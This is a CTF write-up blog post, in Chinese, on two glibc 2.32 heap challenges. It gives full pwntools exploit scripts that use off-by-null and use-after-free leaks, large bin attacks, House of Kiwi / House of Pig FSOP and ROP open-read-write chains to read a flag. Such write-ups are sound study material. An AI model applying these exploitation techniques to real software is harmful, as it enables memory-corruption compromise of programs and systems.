Niyah

Fmyy_Challenge

复现了一下 fmyy 师傅出的题目,不得不感叹 fmyy 唯一真神

NULL_FXCK

2.32版本 libc 存在一个 off by null

地址泄露

首先是堆地址和libc地址的泄露,这里参考wjh师傅的不用爆破 off by null 利用方法:

glibc 2.29-2.32 off by null bypass - wjh’s blog (wjhwjhn.com)

漏洞利用

两种 Large bin attack 思路

  • 通过Large bin attack 攻击 TLS 结构体劫持 Tcache 管理块
  • 通过Large bin attack 攻击 mp_ 让 Tcache 管理块溢出到可控堆块

因为本题使用了 _exit 也无法从 main 函数返回,所以无法执行简单的 house of pig,需要使用 __malloc_assert 触发 FSOP,因此可以直接使用 House of Kiwi,在特定内存布置 entries ,之后就可以申请到任意位置,包括 House of Kiwi 的各种条件

其实本题是打算用 house of pig 来做的,但是思来想去好像确实是有些麻烦,既然能造成任意申请原语,就没必要再进行house of pig 了,并且也只需要进行一次 Large Bin Attack

Exp

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './NULL_FXCK'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    p = process(binary)
    libc = elf.libc
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('>>',num)

def add(size , Content = '\x00'):
    cmd(1)
    sla('Size: ' , size)
    sa('Content:' , Content)

def edit(idx , Content):
    cmd(2)
    sla('Index: ' , idx)
    sla('Content:' , Content)

def delete(idx ):
    cmd(3)
    sla('Index: ' , idx)

def show(idx ):
    cmd(4)
    sla('Index: ' , idx)


# one_gad = one_gadget(libc.path)
# 本质是通过 unsorted bin 或者 large bin 的指针残留构造 unlink 的指针指向

add(0x418)
add(0x108)
add(0x418) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x418) #6

delete(0)
delete(3)
delete(5)

delete(2)

# unsorted bin 合并 ,但合并不会清空数据,某处有残留的堆地址

add(0x438, 'a' * 0x418 +  p64( 0x420 + 0x210 + 0x430 + 0x420 + 0x20 + 1)) #0

# 0xa91 写到了原来 chunk3 的 size 处,刚好这下面有残留的堆地址
# 切割已经合并的大块
# unsorted bin 从新到旧排序

add(0x418) #2
add(0x428) #3
add(0x418) #5

# 下面构造 fack fd 
delete(5)
delete(2)
add(0x418 , 'a'*9) #2
add(0x418) #5

# 下面构造 fack bk

delete(5)
delete(3)

add(0x9f8) #3
add(0x428 , 'a') #5
add(0x418) #7

# 下面进行 unlink
add(0x408, p64(0) + p64(0x411)) #8
edit(6, 'a' * 0x410 + p64(0x210 +0x430 + 0x420 + 0x420 + 0x20 ))
delete(3)

add(0x438 , flat(0 , 0 ,0 , 0x421)) #3
add(0x1600) #9

show(4)
__malloc_hook = l64() - 1644 - 0x40 - 4
libc.address = __malloc_hook - libc.sym['__malloc_hook']
_environ = libc.sym['_environ']
mp_ = libc.address + 0x1e3280
_IO_list_all = libc.sym['_IO_list_all']
_IO_str_jumps = libc.address + 0x1e5580
_IO_file_jumps = libc.address + 0x1e54c0
_IO_helper_jumps = libc.address + 0x1e48c0
setcontext = libc.sym['setcontext'] + 61

show(5)
heap_base = u64(p.recv(6).ljust( 8 , '\x00')) - 0x2b0

ptr_list = 0x4160
lg('__malloc_hook' , __malloc_hook)
lg('heap_base',heap_base)

# ptr_list = $rebase(0x000000000004160)

add(0x1458 , flat('\x00'*0x208 , 0x431 , '\x00'*0x428 , 0x421 , '\x00'*0x418 , 0xa01) )

delete(4)
delete(5)

add(0x1458  )
add(0x448)

delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , _IO_list_all - 0x20 ) )

delete(2)
add(0x448)
add(0x418)

delete(0)
add(0x438 , '\x00'*0x2c0 + p64(_IO_file_jumps + 96) + '\x00'*0x98 + flat(_IO_helper_jumps + 0xa0 , heap_base + 0x4bb0 ) ) #设置 entry

delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , mp_ + 80 - 0x20 ) )
delete(11)


read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
leave_ret = libc.search(asm('leave;ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
ret = pop_rdi_ret + 1

flag_addr = heap_base + 0x4770 + 0x100
chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
# len chain 0x80

# dbg()
add(0x448 , chain) # copy
add(0x418)

# House of kiwi 三大条件


add(0x1450 , p64(setcontext)[:-1])

add(0x1590 , flat( heap_base + 0x4770 , ret ))
add(0x15a0 , flat( 0 , 0x3e0))
# 0x1450 0x1590 0x15a0
# dbg()

# dbg()
cmd(1)
sla('Size' , 0x1000)

p.interactive()

'''
@File    :   NULL_FXCK.py
@Time    :   2021/09/26 13:47:40
@Author  :   Niyah
'''

Binary_Cheater

libc-2.32下的题目,漏洞是个 Uaf , 但是堆块只能申请 Large Chunk 范围内的堆块

注意本题使用的是 calloc 来申请内存,不会从 tcache 里取,所以 NULL_FXCK 中的利用方法失效

这题做得特累,前前后后参照了wjh师傅好几篇博客才完成,特别感谢 wjh 师傅,其中 exp 跟 wjh 师傅的大同小异,其实也就一个 gadget 和 wjh 师傅的不一样

地址泄露

首先是泄露问题,本题增删改查都有,uaf 的泄露有手就行,直接可以得到 libc 地址和 堆基址

漏洞利用

  1. 本题不能直接 getshell ,需要使用 open read write 读出flag,如果没有 对 free_hook 和 malloc_hooc 的检查,我们是可以先用large bin attack 攻击 mp_.tcache_bins ,之后直接 tcache attack 攻击__free_hook的,但是本题难在有检测,那么如何利用呢?
  2. 这就要开始介绍一下 house of pig 了,在执行 io_str_overflow 函数时会连续调用 malloc memcpy free 操作,而关于这个函数的参数控制,我们可以通过 large bin attack 攻击向一个 io file 指针写入一个我们可控的堆地址,之后再将这个堆块伪造成 io file 结构体。
  3. 关于调用流程的 malloc 函数,该参数可以通过 io file 结构体的_IO_buf_end 和 _IO_buf_base 得到,这个参数我们还是可以在伪造 io file的时候控制
  4. 关于调用流程的 memcpy 函数,该函数会把 原来_IO_buf_base 和 _IO_buf_end 之间的数据拷贝到之前 malloc 的内存中
  5. 关于调用流程的 free 函数,由于本函数不是在程序中显式调用的,那么关于程序中对于 free_hook 的检查也不用管了,这样我们可以延续之前 攻击 free_hook 的思路,把 free_hook 指向一个 gadget 执行栈迁移到我们的 orw 链上
  6. 说了这么多,那么怎么调用 io_str_overflow 函数呢,我们可以使用 assert 判断失败来调用,将 top chunk 改得比将要申请的 chunk 小即可
  7. 如何让 free_hook 在之后的malloc 中被申请呢?我们可以通过修改 mp_.tcache_bins 让 tcache 堆管理块让我们看起来增大,之后在对应位置布置对应大小的 entry 即可

综上所述

  1. 泄露地址
  2. large bin attack 攻击 stderr ,在对应堆块伪造 io file
  3. large bin attack 攻击 mp_.tcache_bins,在 tcache 管理块对应大小位置布置 __free_hook 的 entry
  4. 在需要 被复制的堆块写入 gadget
  5. 修改 top chunk
  6. 申请堆块 触发 assert

Exp

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './Binary_Cheater'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    libc = elf.libc
    # context.log_level = 'debug' 
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)


def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla('>',num)

def add(size , content = 'a\n'):
    cmd(1)
    sla('Size' , size)
    sa('Content' , content)

def edit(idx , content = 'a'):
    cmd(2)
    sla('Index' , idx)
    sa('Content' , content)

def delete(idx):
    cmd(3)
    sla('Index' , idx)

def show(idx):
    cmd(4)
    sla('Index' , idx)
# one_gad = one_gadget(libc.path)

def attack():
    
    add(0x418) # 0 large bin 辅助快
    add(0x418) # 1 防止合并
    add(0x428) # 2 large bin 攻击块,地址泄露块
    add(0x428) # 3
    delete(2)
    add(0x450) # 4 把 unsorted bin 块挤进 large
    show(2)

    main_arena_addr = l64()
    __malloc_hook = main_arena_addr - 0x450 - 0x10
    libc.address = __malloc_hook - libc.sym['__malloc_hook']
    __free_hook = libc.sym['__free_hook']
    stderr = libc.sym['stderr']
    IO_str_jumps = libc.address + 0x1e5580
    setcontext = libc.sym['setcontext']
    mp_ = libc.address  + 0x1e32d0

    delete(0)

    fake_chunk_large = flat(
        main_arena_addr , main_arena_addr,
        0 , stderr - 0x20
    )

    # 此时 2在 large bin 中,0在 unsorted bin 中
    edit(2 , fake_chunk_large )
    add( 0x450 )  # 5 把 0 块挤进 large
    # dbg()

    # 触发 large bin attack 此时堆地址被写入 stderr 中

    show(2)

    heap_base = u64(p.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x2b0
    lg('heap_base',heap_base)

    # --- 修复因为攻击而被破坏的 large bin ---
    edit(2 , flat( heap_base + 0x2b0 , main_arena_addr , heap_base + 0x2b0 , heap_base + 0x2b0 ) )
    edit(0 , flat( main_arena_addr , heap_base + 0xaf0 , heap_base + 0xaf0 , heap_base + 0xaf0 ) )
    # --- 修复因为攻击而被破坏的 large bin ---

    # 其实修复也很简单,我们只要还原到没有攻击的状态即可

    add( 0x418 ) # 6 0
    add( 0x428 ) # 7 2
    # bin 至此全部清空 

    add(0x450)
    add(0x450)
    add(0x450)
    delete(8)
    delete(9)
    delete(10)

    delete(7)
    add(0x450) # 11
    fake_chunk_large = flat(
        main_arena_addr , main_arena_addr,
        0 , mp_ - 0x20,
    ) + p64(__free_hook)*0x50
    # 这里指向 free_hook 的指针会被识别成对应大小 tcache 块的指针
    # 除此之外,前面还有个地方需要为 1 
    # 分别对应 entry 和 counts

    edit(7 , fake_chunk_large)

    delete(6)
    add(0x450) #12
    # 第二次 large bin 攻击 mp_.tcache_bins

    new_size = 0x1592 - 0x40
    old_blen = (new_size - 100) // 2

    fake_IO_FILE = flat(
        0,0,
        1,0xffffffffffff,0,
        heap_base + 0x2080 , heap_base + 0x2080 + old_blen,
        '\x00'*0x40 , heap_base,
        '\x00'*0x30 , 0,
        0,0,
        IO_str_jumps + 0x18 - 0x38
    )

    edit(6 , fake_IO_FILE)

    __free_hook = libc.sym['__free_hook']
    magic = 0x14e72a + libc.address
    
    
    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    puts_addr = libc.sym['puts']
    ret = libc.search(asm('ret')).next()
    leave_ret = libc.search(asm('leave;ret')).next()
    pop_rax_ret = libc.search(asm('pop rax; ret')).next()
    pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
    pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
    pop_r13_pop_r15_ret = libc.search(asm('pop r12 ; pop r13 ; ret')).next()
    pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
    
    magic_chain  = flat(
        __free_hook + 0x8, pop_r13_pop_r15_ret , 
        __free_hook + 0x8, __free_hook + 0x10 ,
        pop_rdx_pop_rbx_ret, 0x300 ,
        leave_ret, pop_rsi_ret,
        __free_hook + 0x8 , pop_rdi_ret , 
        0 , read_addr 
    )
    # len magic_chain 0x60
    flag_addr = __free_hook + 0x100 + len(magic_chain) + 8
    chain = flat(
        pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
        pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
        pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
    # len chain 0x80
    
    payload = flat( magic ) + magic_chain
    # dbg('free')
    
    edit(9 , payload)
    add(0x430) #13
    edit(10, 'a' * 0x438 + p64(0x200))

    # dbg('*__vfprintf_internal+273')
    cmd(1)
    sla("ize:" , 0x440)

    payload =p64(ret)*0xc + chain
    se(payload)

    ''

attack()
# p.success(getShell())
p.interactive()

'''
@File    :   Binary_Cheater.py
@Time    :   2021/10/25 17:05:27
@Author  :   Niyah 
'''

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。